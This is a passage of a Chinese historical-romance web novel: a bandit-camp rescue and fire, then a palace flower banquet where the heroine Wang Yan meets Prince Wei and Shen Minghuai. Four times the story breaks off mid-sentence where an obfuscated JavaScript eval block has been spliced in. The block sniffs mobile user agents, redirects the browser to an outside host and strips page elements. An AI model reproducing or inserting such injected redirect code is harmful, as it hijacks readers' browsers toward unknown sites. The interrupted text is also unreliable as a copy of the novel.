“刘大年！不要以为你当了个宜川县令，就可以抹去当年的情谊！真是好大的官威。” “窦崇康？谁让你们放他进来的！”刘大年手足无措，正准备躲，又被一人叫住。 “刘县 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276276|182433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 令，沈某又来叨扰了。”不像窦崇康，沈明淮在后边恭恭敬敬地行了一个礼。 刘大年转身扯出一个滴水不漏的笑，“不敢不敢。沈公子此番前来，所谓何事？” “路遇窦员外在县衙前为女伸冤无门，又闻与刘县令是故交，想来不是有意不见，便与他来碰碰运气，不想，县令确在县衙内。” 看这样貌，分明就是一个弱冠之年的郎君，却叫人瞧着少年老成。窦崇康瞧见刘大年那样子，看来低估沈明淮的人，不止他一个。在二人眼神交汇之际，窦崇康又骂起来，怒气冲冲地伸出手，被衙卫拦下。 “姓刘的！我家羽儿若回不来，我便跟你同归于尽！” “窦员外，我们是来与刘县令谈合作的。”沈明淮淡淡提醒了一句。 窦崇康慢步退到这位年轻人身后，沈明淮看向刘大年的目光暗含试探。 “不求刘县令替百姓剿匪，只望能助我二人寻到重要之人。” 窦崇康不明所以地往旁睨一眼，又在刘大年开口后愈发困惑。 “沈公子的好友真被那群山匪绑了去？”刘大年依旧是金满楼那副半信半疑的神情。 沈明淮却道：“他或许是自愿的。” “自愿的？！” 刘大年顷刻收起那副奉承样子，神情严肃，“此话何意？” “我那好友虽从京城而来，却是家道中落，有幸在殿下那里寻了一份美差，生活还算过得去。被劫之初，他或许激烈反抗过，但入了寨后见那珠宝金银堆叠成山，被好酒好肉地招待，又何必回来当殿下的一个小小门客呢？” 沈明淮说得煞有介事，哀之，叹之。 窦崇康却是不乐意了，“你怎知是他自愿留下而不是被迫的？有你这般胡乱猜测的朋友，我都替他不平。” “你怎知不是殿下让他去寨内打探敌情，好一举歼灭贼窝？” 说话间，好似发生了何种改变，摸不着的阶梯陡然消失，弯着的脊骨亦悄然立直。这是刘大年第一次正视沈明淮。 “他未与我说，我怎会知。就算此事终成，他的功劳，百姓又怎会知？” 窦崇康又将视线放回沈明淮身上，说得好像也有些道理。 刘大年缓缓说道：“大部分百姓巴不得那贼匪多劫些金银，反正也劫不到他们头上，这么多置身事外之人，谁会在意。” 窦崇康怒目圆睁，“刘大年，你这是什么话！我等干干净净、辛辛苦苦挣来的钱就活该被劫？！” “他们是不在意下一个被劫之人是谁，但他们会在意他们的县令，一个朝廷命官，竟与山匪蛇鼠一窝。” 窦崇康还来不及看向沈明淮，刘大年又迅速开口。 “我知县里早已传遍。在其位谋其事，有些事，不必得到所有人的理解。” 窦崇康指着刘大年喊：“我就知道，你问心有愧！” 沈明淮拔高音量着实将窦崇康吓了一跳，这位年轻人竟这般中气十足。 “倘若我说你问心无愧呢？” 刘大年瞋目之下，还有难以察觉的颤抖。 5. 火烧匪寨 翌日午时，王琰按纸上所书来到一家成衣铺后院，换上一身宽袖宋锦，正预备登车，被窦崇康喊住，交与她一锦囊。抬头见不远处站着的应冥，王琰旋即明了，谢过窦崇康掀帘上车，打开锦囊，内有两粒药丸与一卷纸，地图背面，执笔者写得一副瘦硬清劲的柳体。 「可解百毒别藏腰间」 这世上真有可解百毒的仙药？可她从未听师娘说过。王琰拿起那浅色药丸瞧了瞧，又嗅了嗅，只觉与普通药丸并无二致。再者，她早已将软剑藏到别处，可就用不着他操心了。就是兄长那边，此番回去定免不了一顿责备…… 自进了云岩山，寂静非常，莫说山匪了，竟连鸟鸣也未曾听见。驾马的厮儿特意放慢步子，眼看都要走出云岩山了，仍不见贼匪踪迹。王琰正暗自生疑，忽地马蹄声入耳，迅速靠近。 “来了。” 看来上次她腰间藏剑的行为，确实给楚如霜气得不轻，这次可是将她上半身捆得死死的，尤其腰腹，勒得险些喘不上气，到了地牢亦未给她解开。 “不是说最近别再抓小娘子了吗？怎么又——” 楚如霜见到王琰霎时失语，原以为她身上的金饰已足够多了，不想这小娘子更甚。金簪、金镯、金项圈，还有织金褙子和百迭裙，这是恨不得将所有的金子都贴到身上去，更可恨的是，这蒙着面纱的小娘子，竟完全衬得起。老二时常嘲笑她庸俗至极，若是见了她，还不知要怎样藐视。 “姐姐，放了我罢！我爹爹有很多很多钱，你想要多少，他都会给你！” 王琰忙凑到边上，露在外面的一双眼睛，当真惹人怜爱，如一汪柔水，让人不知不觉间便溺进去了。可惜楚如霜不是男子，不吃她这套。 “妹妹莫急，我知道你爹爹会给我很多——很多——钱，但你得先告诉我，你爹爹是谁。” “窦崇康。” 对面牢房内，一个惊异的目光忽向王琰投来，两人视线顷刻相聚。 “窦崇康？你扯谎也不打听打听——” “窦金羽！” 楚如霜着实被王琰这声中气十足的喊叫吓了一跳。自然，被吓住的还有窦金羽本人。 “好啊你，勾引秦郎就算了，还想和他私奔？如今可好，秦郎再也不会受你哄骗，他是我的！” 王琰说话一下太过用力，红了眼眶。 楚如霜假意安慰道：“有话好好说，妹妹方才不是说自己是窦崇康的女儿，可据我所知，他只有一个女儿。” “姐姐有所不知，我是爹爹外室所出，但爹爹对我与娘亲疼爱有加。我二人远在京城，起初并不知晓爹爹在此已有妻室……不想窦金羽出生后，便将爹爹的宠爱尽数夺去，便连秦郎，她都要与我抢！” 楚如霜听到“外室”二字，不觉露出些惊喜的神色。 “妹妹消消气，不值得为这种人气坏了身子。妹妹瞧着可比她漂亮许多，定是你那小情郎没眼光。” 窦金羽一言不发，倒给足了王琰发挥空间，“秦郎定是被她蒙骗了，她惯会装可怜！” 楚如霜挠挠脑袋，佯装思考，“这样罢，你让你爹再送些金子来，我助你与秦郎相聚。” 王琰终于正眼瞧她一回，“此话当真？！姐姐真能助我找到秦郎？” 楚如霜连哄带骗地保证道：“我不行，但老二可以。老二眼线到处都是，届时你只需与他描述一下你小情郎的特征，他定能帮你寻来。” 王琰欣喜万分忽又十分戒备，“窦金羽呢？她不会也要与我一起去寻二哥哥帮忙罢？” “自然不会，就妹妹一人去。” 话虽如此，下一刻，楚如霜却是将窦金羽提了出来。 王琰急抓住铁杆，不料沾了满手铁衣，只得紧贴栏杆道：“姐姐这是何意？” “妹妹莫急，她在此，既扰妹妹兴致，又会坏你寻情郎的好事，这便将她丢入那山林之中，喂狼。” 窦金羽冷哼一声，“我就算是喂狼，也定不会从了那畜生。” 楚如霜抚上她的脸，“你这张嘴，若是跟了老二，不知要吃多少苦。小有姿色罢了，也敢这般狂妄。你该好好谢我，若非我留你两日，你这好姐姐能有机会替你前去？如此一来，我也算守住了自己的原则。” 随即刺耳的笑声充斥牢房内外，窦金羽听得直捂耳朵，无意间瞥见王琰颈上的金环，是她从前佩戴过的，那织金杏花纹褙子，亦是她平日最喜欢穿的。这才明白，对面那娘子是受父亲所托，来换她一条生路。 “你这样的人也配谈原则？她根本不是要带你去寻什么情郎，分明是要将你卖与那畜生！” 窦金羽情绪突然变得十分激动。 楚如霜狠狠掐住她的脸，“你住口！速速将她扔到西山去！” “且慢！” 王琰勾出一个阴鸷的笑，“据我所知，西山陡坡难行，若一不小心失足坠落，岂不便宜了她？不若将她扔到东侧萱草坡，那些小贼定是未见过这样的美人，何不让他们给她个教训，叫她瞧瞧这世间险恶。” 楚如霜愈发欣赏她了，“你这小娘子，年纪不大，心思倒深，也罢！窦大商人予了我这么多钱财，便放她一条生路。” 窦金羽拧眉看着王琰，不知还想说什么，已被封嘴押走。 那群山匪还真将她丢到萱草坡去，若是白日，她定能寻到下山的路，如今天色将暗，她还被捆着手，就怕这附近的小山匪…… 窸窸窣窣的声音靠近，窦金羽匆忙转身往另一个方向跑，急得失去平衡摔到地上，一双手忙抓住她的肩。 “羽儿！” 窦金羽猛地回过身，泪夺眶而出。窦崇康迅速扯出麻布，解开绳索，与女儿在草地上紧紧相拥。 “爹爹……” 一道质问劈头盖脸地打下，击碎了父女相聚的温情场面。 “王娘子身在何处？” 窦金羽拭去眼角的泪，这才看清面前有位公子，约莫弱冠之年，不苟言笑，神情严肃。 窦崇康亦紧接着问：“是啊，羽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276277|182433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿，王娘子理应是寻到你后，待我们将你二人救出。现下你怎么先出来了？” “可是身穿紫色衣裳、戴着我那金项圈的娘子？她要代我被卖与另一山头的匪首了！爹爹你快救救她！” 应冥惊地看向沈明淮。 “何时？” 窦金羽似乎是被沈明淮的冷脸吓到了，“今……今夜……那匪首会来提人。” “王娘子会武，公子不必过于担心。”应冥的提醒也止不住沈明淮外溢的寒气。 “她可是王尚书之女。” 窦崇康骤然回头，“王尚书之女？！” 就在此时，尹士成匆匆来报，一切准备就绪，时机已到。待应冥领着一群人攻入寨中，拼起反抗的山匪随即双双倒地，腹如刀绞，未饮过水的匪贼很快被钳制住，却始终不见王琰与楚如霜的身影。 楚如霜早已带着王琰从后山离开，身后还跟着她几个心腹。行至半道，正巧遇见前来提人的荻花秋。 “这小娘子可是比你看中那个还要漂亮许多，嘴甜会说话，我直接送你了！你只需收留我等，待老娘东山再起之日，定不会亏待于你。” 荻花秋这才瞧见不远处的星星火势，不由嘲弄道：“三妹，你也太不小心了。城门失火，殃及池鱼，你的寨子丢了无妨，若我被你连累了，这可如何是好？” “少废话！收还是不收，给个准话！”楚如霜把刀一横，却被荻花秋轻轻拨开。 “我得先验验货。” 楚如霜这才发觉，王琰不知何时蹲了下去。 “走累了，歇会儿。” 王琰手心直冒汗，握紧双拳加快摩石的速度，楚如霜就要走到跟前了……绳索即断，速从腿间抽出软剑，打得楚如霜措手不及连退几步。 “有意思，让开！” 荻花秋跃身而起，向她攻来。此人亦是使剑，无甚技巧，却蛮力十足，一日滴水未进，对待这样的对手，王琰很快便有些力不从心，只得巧避，十分被动。不料楚如霜一齐攻来，怒气冲天，似要报上次捉弄之仇。 “好啊，又是你！我竟未发现，你个小滑头，拿命来！” 眼看楚如霜的刀直直砍下来，不知何处飞来一柄剑将其打落。华信对付荻花秋轻松许多，加之应冥与三两侍卫的配合，很快劣势转为优势。在后观战的沈明淮忽被一只手牵住，毫无预兆地被拉着往后跑，根本不给他拒绝的机会。 “还愣着做什么？跑啊。” 王琰将他拉回寨中，见贼匪倒了大片，旋即往库房去。 “一把火烧了，斩草除根。” 王琰正预备往外叫唤，旋被沈明淮截住。 “国有国法，他们虽有罪——” 王琰似是猜到他心中所虑，“你给他们水中下的又不是毒药，活下去的欲望会战胜腹绞之痛的。” “这里有油桶！一把火烧了此处，以绝后患！” 瞧着她果断跑出去的身影，沈明淮以为她是去唤更多的人，不想没有再回来。 6. 百花宴 宜川距上京不远，自王琰上回神不知鬼不觉地再度消失，王桢是一刻也不敢懈怠，快马加鞭，用整整一日时间赶回了上京。 王琰一下马车便往花园走。按她的了解，平素这个时辰，他们定在后院。 “阿爹，阿娘！” “小心摔着。”王桢跟在后边，叮嘱了一声。 母亲李氏听见她的声音，从林荫下欣喜迎来，“阿潆回来了。” 王琰一下扑到母亲怀里，仆仆风尘顿时消散。 “又与览之到何处游山玩水了？”李氏说话总是和声细语的，如雨濯春尘，可拂去一切烦心事。 王琰回想近半年来的行迹，无非就是两浙一带，实则呆在扬州的日子居多。 “阿潆可不只是去玩的，亦帮了表兄许多呢。不过皆是举手之劳的小事，没有阿潆大显身手的机会。” 王桢来到二老跟前问候，“父亲，母亲。” 王甫直微微颔首，笑着走过来，“现下便有个机会，可以让我们阿潆一展身手。” 王琰的双眸旋即发亮，父亲母亲偏还卖关子，她只得转向王桢，扯着他的衣袖，“阿兄……” 王桢又当起这个恶人来了，“淑妃娘娘的百花宴。” 王琰抽了抽额角，就知道没好事！ 李氏劝慰道：“这么些年，你该在外露露面了。大病渐愈，再调养一些日子，笄礼那日漂漂亮亮的，方才合适。” 王甫直对他们一向严苛，直言：“既回到上京，便将野性收收，两日后的百花宴，知晓如何做了？” 她亦知在上京风头太盛不是好事，何况她到云溪山习武一事鲜为人知，终究不宜声张。 王琰只得恹恹道：“阿潆晓得。过两日，定让他们看到一个弱不禁风的尚书之女。”说着就要倒下。 王桢见怪不怪地扶了她一把，王甫直与李氏还在笑。 王琰垂丧着头转身回屋，“没人疼的阿潆先去沐浴了。” “瞧瞧，哪里还有点名门闺秀的样子？都叫你惯坏了。”王甫直一副没眼瞧的模样。 “妾惯坏的？也不知上回是谁，三言两语就被阿潆的糖衣炮弹贿赂，又放她去游历了半年。”李氏看破亦说破。 王甫直只好转向王桢，“那便是以衡。让你这个兄长管着些，都纵成什么样了。” 正准备离开的王桢，对于莫名飞来的一顶帽子，早已学会安然接受。 “娘子，水已备好。” 桑荇已在花园外候着，王琰指名让卷桃来伺候，待洗却风尘，换上熏过香的织金绿褙子和月白色罗裙，正是出门的最佳状态。 卷桃忙快步跟上，“娘子，这刚回府还未歇着，怎又要出门？” 王琰戴上提前备好的白纱，“听闻近两日荣锦坊进了不少的宋锦，去晚了可就只有旁人挑剩的了。” 荣锦坊是上京最大的一家布料铺子，款式之丰，换新之快，在达官贵人与富商大贾中久负盛名。分为东西两坊，东坊多为上等布料，价格昂贵，开在通衢广陌之处，方便马车行走；西坊熙来攘往的街市，多为一般人家供布。 下了马车入内，是与外面不同的热闹。来挑选布匹的多是女子，夫人娘子丫鬟，满堂的莺声燕语。 王琰走了一圈看定，直寻掌柜而去，“这环藤莲花纹锦当真一匹都不剩了？”展出的样布中，她可是最喜欢这个样式了。 许掌柜面露难色，“这位娘子，实在不好意思，最后两匹都被那位娘子买走了。” “掌柜的，怎么了？” 一女子正向他们走来，用清婉端庄形容，再合适不过。这娘子站定在王琰两步之内，将她从头到脚扫了一遍，又看向一旁的卷桃，随即认定，“这就是琰妹妹了罢？” 王琰对此人极其陌生，只能从她的衣着上大致判定，应家世不凡。 商念遥知她多年未在京中露面，想来与外交际近乎为零，先卷桃一步，自报家门道：“商家念遥。” 王琰微微屈膝，“原是念遥姐姐。早闻姐姐才气过人，名动京城。今日一见，果然不虚。” 商念遥定是听过不少此等客套话，未接她的话，转而问起她来，“妹妹身子可还好？既能出门走动，想是无碍了罢。” 王琰莞然，“大体是无碍了。这不谨遵医嘱，多出来走走。” 商念遥这才看向一旁不知所措的许掌柜，等他回话。 “商娘子，这位娘子欲购环藤莲花纹锦，可您买走的已是最后两匹……” 商念遥二话不说，爽快地从自己手中拨出一匹赠予王琰。 王琰又暗暗瞧了她一眼。这人怎么……相识不过片刻，就这般熟络了。闺阁女子间的往来皆是如此吗？ 商念遥却不合时宜地补了一句，“不过，我记得以衡哥哥从未着过红色……” 王琰本就无意与京城世家子结交，只满脸堆笑道：“兄长确未穿过红色，这个样式不是做与兄长的。” 商念遥了然地笑了笑，“掌柜直接给琰妹妹就是。我还有事，便先告辞了。” 王琰直望着她离去的背影，“这个地方就是这样。毫不相识的人第一次见面，人情便欠上了。” 卷桃笑道：“商娘子或许是认为娘子要送与心爱郎君罢。” 王琰仍旧不解，“她如何认得我？我可对她一点印象都没有。” 卷桃道：“奴婢与郎君来荣锦坊为娘子制衣裳时，碰见过几次。” 王琰睨着眼，略有不悦，“以衡哥哥……阿兄与她很熟么？” 卷桃小声说道：“商娘子的母亲非她生母，是商大娘子去世后扶的正。商尚书宠妾灭妻的传闻已经好些年了，大娘子只有这么一个女儿，商娘子她怕是不好过。” 王琰正欲开口，转念又想，不应随意猜度别人的处境。也许商念遥过得就如表面这样，她有什么资格凭着毫无实据的猜想去可怜谁。 “那婢女怎地走在她前面？” 卷桃仰着脖子瞅了瞅，“那是益王妃的婢女容梅。” 王琰奇道：“卷桃你怎么什么都知，也是与阿兄来此识得的？” “她是桑荇姐姐的表姑母。” 王琰拧眉道：“我竟不知。” 卷桃与桑荇亲如姐妹，晓得三两亲友，倒也合理。近些年在家的日子掰着手指头都能数得过来，对于这上京，她实在陌生。尽管王桢时与她讲些逸闻趣事，以致她对朝中形势也有些许了解，但上京这张错综复杂的大网，她还须再多了解些，以免哪日惹火上身。 两日后，李氏将王琰送到宫门，一路上都在反复叮嘱宫中礼仪，生怕她说错话、做错事， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276278|182433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一条命都不够花的。 王琰握住李氏的手，“阿娘，阿潆都倒背如流了。放心，我一定不给你与阿爹丢人。” 这是王琰第一次进宫，亦是初次参加高门仕女云集的筵席，特意新做了一套衣裳。她着大袖的时候屈指可数，可见母亲今日将她打扮得多正经。 李氏还是放心不下，吩咐桑荇，“时刻注意娘子的言行，多提醒着些。” 桑荇道：“奴婢晓得。夫人也该对娘子有信心些，娘子机灵着呢。” 王琰挺直腰板，“阿娘，你听，阿潆机灵着呢。” 一踏进华容宫，王琰便被掌事姑姑沅春带到佩兰殿面见淑妃。简单寒暄两句，又被宫女领去了花园。 “像，真像。” 淑妃仍瞧着殿门，却早已没了王琰的身影。 沅春将淑妃扶起，“王娘子更标致。” 淑妃会心一笑，“王尚书养得好，就是胆子小了些。” “娘娘日后调教调教，定是殿下的贤内助。”沅春只有在这种时候，才敢说这些话。 “也算歪打正着，陛下送给一个母亲挽救的机会。” 沅春整理着淑妃的衣裳，“殿下何曾怪罪过娘娘？娘娘多心了。” “但愿罢。去唤商家那孩子来。” 沅春又往花园去了。 王琰到小花园的时候，已有十余名世家女子在此候着。客套声此起彼伏，虽不乏交情颇深者，然少矣。 商念遥先瞧见了她，笑容满面地招呼道：“琰妹妹！” 王琰确也只认得她一人，在此相遇，大抵还是高兴的。方才佩兰殿内，就够她苦的了。 “念遥姐姐，我就知定会遇见你。” 商念遥亦早料到她会来，“琰妹妹是第一次参加百花宴罢？” 王琰无奈道：“是呀，病了这么些年，可不就是第一次？还劳姐姐照拂一二。” “那是自然。” 商念遥总是带着笑的。又细细看了她半晌，半见色百花裙，上着碧色襦衫及菡萏色大袖衫，梳着当下最流行的朝天髻，就是一支金钗簪的不大相称。 王琰疑道：“我脸上莫不是有什么东西？” 商念遥的语气掺上些许羡慕，“上次未见妹妹真容，竟这般好看。” 眉目如画，肤如凝脂，明眸如清澈秋水，病愈之初的模样更惹人怜爱。 今日接二连三的夸赞，真叫她禁不住。确有些时候未在生人面前露过面，也是许久未听到这样的称赞了。 王琰挽过她的手，“肩若削成，腰如约素——曹子建约是照着姐姐的模样写的罢。何故羡慕我？” 商念遥被她夸得双颊泛红，“淑妃娘娘在，我怎敢担洛神之貌？” 沅春又来将商念遥唤了去，旋即有不少女子围上来，要与王琰结交好友，言语间皆是对她笄礼的艳羡。当然还有未上前的，在角落编排她怕不是用了什么手段，就是想让淑妃娘娘选她做卫王妃。 王琰从未恨自己耳力这么好过。真真荒谬至极，谁稀罕当什么劳什子王妃啊。乱七八糟，张口就来。找个借口脱身后，耳根果真清净不少。 忽见两个鬼鬼祟祟的身影，一张面孔很是眼熟......云岩山上的贵公子？还站卫王旁边......沈郎便是定国公之子沈明淮？！ 7. 私会外女 又一个急令将沈明淮忽悠入宫的卫王，此刻正与他躲在假山后，考察他未来的王妃人选。沈明淮向来遵规行正，从未出格，不由对卫王此等行为深感怀疑。 “姑母知晓吗？” 钱煦正专注瞧着不远处那群女子，“母妃不会责怪本王。” 沈明淮顿觉不对，旋向后迈步，“你未禀过就到后院窥觇贵女？” 钱煦锢住他，啧了一声，“何谓窥觇？这是欣赏。她们不会发现的。” 一道直勾勾的目光扫过来，沈明淮悠悠开口，“已经被发现了。” 钱煦一个踉跄扑在假山上，“谁？” 身着粉衣的娘子正盯着这边看，钱煦一瞬晃了神。头上戴的金钗更是闪耀夺目，且有些熟悉。小娘子往这边荡开一个浅笑，行了一礼便转身离开。 沈明淮不知怎么，眉眼的狡黠竟有些似曾相识的…… “那娘子未在画像上见过，”钱煦也要走，“我去会会她。” 沈明淮伸手拦下，好意提醒道：“私会外女———” “来都来了，还守这些规矩。”钱煦推着他往后走，“你一起，三个人，算不得私会。” 不出一步，卫王殿下又补了一句，“待会儿你站远点。” 沈明淮未应他，钱煦只当是不认可自己逾矩的做派。可谁不知他向来如此，想做便做了。 王琰特意放慢脚步待来人上前，却是陌生的声音响起。 “娘子请留步。” 王琰敛神转身，向来人道万福，视线却悄然越过他，瞧了远在一丈外的人一眼。一身月白色圆领长袍，英英玉立，没有上前叙旧的意思。 钱煦未注意到她眼神的片刻偏离，只道：“敢问娘子芳名？” 王琰将视线放低，回道：“民女王琰，家父户部尚书王甫直。” 言语间，她感受到一种与方才佩兰殿中一模一样的打量，虽极其短暂。 “原是王尚书之女。”钱煦似乎早已知晓她的身份。 举止有度，字句斟酌，不咸不淡地与他保持一定距离，一副标准世家娘子的模样。 钱煦忽又问：“你可知城南那白百道？” 王琰对他忽提及此人颇为警觉，“民女不识。” 钱煦当即为她打抱不平，盯着她白皙的面颊道：“也是，你长年未出府，想来也是不知。有人向他求娘子的画像被本王瞧见，竟——在你脸上画满麻子。” 想必是阿兄的手笔。她不在上京的日子里，多亏这些坊间传闻补着空。王琰莞尔，“他亦是从旁人那得来的罢。民女确有一段时间生了满脸麻子，不想竟叫人画了像，流传于市。” 钱煦热心非常，直言明日便去白百道那里为她正名。 王琰仍未抬头看他，“多谢殿下的好意。这些身外之物，民女并非如此看重，不敢劳烦殿下走这一趟。识人论心，不论形。若有人欲与民女相交，民女以为，直接见上一面，不比搜罗画像更好？他们若无心，民女又何必在意。”句句言己，句句不在己。 钱煦似乎不满她的提醒，不再说话，王琰又不想先走，只好无奈地盯着地面发愣。忽地，对面鬼使神差抬起手，王琰惊得连退两步，头垂得更低了。 钱煦无趣地收回手，转而赞道：“挺好看的，就是有些歪了。” 王琰这才发觉他格外在意这支簪子，回答依旧极守规矩，保持着民与君该有的距离。 “淑妃娘娘惠赐，自是好看的。” 自佩兰殿惶恐地受下这份恩赏，她真如悬梁刺股般，对扬州的快活日子是愈发怀念。沈明淮不知何时又看了过来，旁边还站着掌事姑姑。 “殿下，娘娘请。” 钱煦走近拍了拍沈明淮，“你说的对，白百道果真是个骗子。” 沅春亦随之离开，只余他二人。 王琰大舒一口气，灿然道：“沈公子，又见面了。” 沈明淮规规矩矩地揖了一礼就要走，王琰忙道：“上次云岩山，我们见过。” 沈明淮转过身，似是在思索，指着嘴角认真道：“那娘子这儿，有一颗痣。娘子没有。” 比那日还要疏离的语气，仿佛他们初次见面一般。王琰也不恼，“沈公子可还在怪我未告知真名？却不想我那日随口一诌，正是公子的姓。” “怎会。” 沈明淮又做回了他的冷面公子。长着一张平易近人的脸，实则比谁都不好相处，但她素来喜欢迎难而上。见他有意无意瞟向那支金簪，王琰走近两步，“好看么？” 沈明淮的眸光落回她脸上，“淑妃娘娘的眼光，自不会差。” 好一个铜墙铁壁。王琰不死心，继续说道：“你帮我瞧瞧，这簪子歪没歪。” 沈明淮未移开目光，轻轻牵出一个笑，“娘子定是比我清楚。” 他知卫王这点小心思，她不会看不出来，这没话找话的手段，一样拙劣。 “是吗？我觉着不太适合我。” 他们仍在聊簪子。 “合不合适，并不重要。” 王琰却道：“合不合适很重要。有人视若珍宝，便有人弃之如遗。合适，才是最好的。” 沈明淮陷入沉默。弃之如遗……说得轻松。试问这世间有几人能真正做到？ “并非谁都有选择的权利。” 王琰竟从那天之骄子的脸上，看出一丝黯然，与王桢口中的沈明淮大相径庭。 回程的马车上，她与王桢说起沈家赈灾一事。王桢提及沈明淮，句句夸赞。他与沈明淮是内舍同窗，道此人可是夫子的掌中宝，天资聪颖不说，六艺皆精，凡试，必夺头筹，才识足堪上等。只是不知为何，去岁上舍试，惟他一人缺席。 其中缘由，现下看来，似是一个“逃”字。明明已经做出抉择……王琰倒觉着他有点意思了。 “公子真是说笑。我都有，公子又怎会没有？” 沈明淮给出一个无法辩驳的理由，“因为这是上京。” 上京规矩多，麻烦多，人人戴着假面相识相交，这些她都知，却不想已经是四面高墙。不过，墙是人砌的，人亦可毁之。 “走就是了。” 沈明淮轻笑一声，“并非人人都这般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276279|182433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幸运。” 向来在定好的规矩绳墨中修齐治平，努力把没意思过得有意思。这样的生活，他怎敢说是幸运的。 “那我将运气分你一半，祝你早日达成所愿。” 沈明淮眸光微动，不知是被触动了，还是压根不屑。 出来的时间有些久了，见他未再言语，王琰遂迈步离开。走了几步又停下回头，极为真挚道：“王琰，琬琰之琰。” 沈明淮有些意外，好似多余地回了一句。 “沈明淮。” 王琰扬眉一笑，“我知。” 日月光华，淮水汤汤。 一回到花园，商念遥便径直走来，“琰妹妹，可算找着你了。” “怎么？”王琰这会儿心情大好。 商念遥拉她入座，又瞧了眼那支金钗。前脚方才从佩兰殿出来，后脚淑妃便受意沅春去寻卫王，她亦悄悄跟了去。 到回廊的时候，正巧碰见王琰连连退步，后又见她与另一位外男说起话来。二人之间的距离远不及卫王与王琰那样近，但商念遥却感到一股疏远转瞬即逝。 “没什么，快开宴了。” 钱煦阔步迈入殿内，脚边还跟着一只花狸。 “可见到了？” 钱煦佯作不知，“见到什么？” 淑妃放下茶盏，没有人比她更了解她这个儿子，其实不用问也知，定是见到了。 待沅春领着殿内宫女纷纷离去，钱煦才收起懒散模样，“那簪子是儿子去取的，母妃还想让儿子说什么？” 淑妃神色稍变，收起名为“母亲”的慈目，做回那个暂领后宫的淑妃娘娘。 “如何？” 钱煦笑着坐下，“母妃是想问，像吗？自然是像的。” 淑妃心下不忍，露出些不易察觉的愧色，“煦儿……这是你父皇的意思。” 钱煦恭恭敬敬道：“儿臣知是父皇的意思，只是凑巧而已。” “你还在为当年之事怪本宫。”淑妃将怫郁掩在眼底。对于那件事，她从未后悔。 “儿臣不敢。儿臣多谢母妃成全。”钱煦说着就要跪下，淑妃已先一步扶起他。 “户部虽不比吏部，但也还是能帮到你些许。若你还是更需要商家，我去与你父皇说说。” “儿子不敢劳烦母妃，更不敢忤逆父皇。”钱煦直起身，“户部和吏部，终会是儿子的。” 淑妃旋即会意，“明淮确也到娶妻的年纪了。” 钱煦未再谈此事，转问起淑妃的身体，“母妃近日身子可好？” “无甚大碍。”淑妃缓缓扶额，“倒是你父皇，太医院的人说，近来成日饮酒，却是好了许多。你也该多去看看。” 谈及此，身子孱弱之人倒还有一个。淑妃又说起王琰，“本宫瞧着王家娘子面色仍不大好，明日让太医到王府瞧瞧。” 王琰受规矩束缚一天，回到府中，二话不说就沐浴睡下了。翌日一早又被李氏慌忙拉起来，说是宫中孙太医来访。孙太医诊毕，人才算从迷迷糊糊中清醒过来。 “娘子这身子，不像久病之人。” 8. 区区尚书府 李氏心头一颤，揪紧里衣，安抚地看了一眼王琰，又问：“这是何意？” “娘子似是天生寒气入体，近来有所好转，这方子按日服下，虽不足以根除，但可逐渐排出。”孙太医写好方子交与李氏。 李氏万分感激，“多谢孙太医，我们已苦此寒症许久。还劳烦转达，李氏在此先谢过娘娘恩典。” 孙太医忙道：“夫人快快请起。” 待王甫直下朝回来，刚安心躺下的王琰又被叫起来，在书房进行紧急家议。王琰将昨日经历细细道来，王甫直听得眉头紧锁。 “分明就是在试探，看我是否与那些不择手段挤入天家的人一样。他给些小恩小惠，我们便要感恩戴德。” 王桢难得未批评她没规矩，反而安抚道：“阿潆莫急，父亲母亲亦不愿让你嫁入皇家。” 王琰倒未将此事放在心上，“今日那太医不是说我天生寒气入体么？待宫里的贵人听了，说不准就放过我了。” 王桢的神情亦不轻松，“怕是没这么简单。” 李氏平常不会过问朝堂之事，现下却不由紧张，“若官家意在此，一道圣旨赐婚就是，何必绕这么一圈？” 王琰蹙额，笄礼正宾若是官家的意思，那便棘手多了。 